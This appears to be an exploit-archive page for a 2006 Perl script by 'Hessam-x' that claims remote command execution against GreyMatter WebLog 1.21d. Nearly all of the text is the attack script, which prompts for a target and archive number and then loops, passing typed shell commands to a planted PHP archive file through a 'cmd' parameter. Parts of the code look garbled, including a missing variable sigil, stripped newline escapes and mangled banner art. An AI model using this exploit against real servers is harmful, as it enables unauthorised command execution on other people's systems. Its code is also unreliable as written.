GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (2)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (2)
# Published : 2006-03-28
# Author : Hessam-x
# Previous Title : GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (1)
# Next Title : Plogger <= Beta 2.1 Administrative Credentials Disclosure Exploit

#!/usr/bin/perl
#
# Exploit by Hessam-x (www.hessamx.net)
# Special Thanx : Vampire , s3rv3r_hack3r
######################################################
#  ___ ___                __                         #
# /   |   _____    ____ |  | __ ___________________ #
#/    ~    __   _/ ___|  |/ // __ _  __ ___   / #
#    Y    // __ \  ___|    <  ___/|  | //    /  #
# ___|_  /(____  )___  >__|_ \___  >__|  /_____  #
#       /      /     /     /    /            / #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
#                 DeltaHAcking Team                  #
#           website: www.deltahacking.com            #
######################################################
# Name    : Greymatter                               #
# Site    : http://www.noahgrey.com/greysoft/        #
######################################################
# example:
# target : www.yesite.com/Greymatter/
# archive number : 00000141
use LWP::Simple;


print "-------------------------------------------n";
print "=                 Greymatter              =n";
print "=       By Hessam-x  - www.hackerz.ir     =n";
print "=   Vampire      - www.deltahacking.com   =n"; 
print "-------------------------------------------nn";


      print "Target >http://";
      chomp($targ = <STDIN>);
      print "archive number >";
      chomp($arnum= <STDIN>);
   
   $con=get("http://".$targ) || die "[-]Cannot connect to Host"; 
while ()  
{  
     print "Hessam-x@Greymatter $";
     chomp($comd=<STDIN>);
     $commd=get("http://".$targ."archives/".$arnum.".php?cmd=".comd)
}

# www.Syue.com [2006-03-28]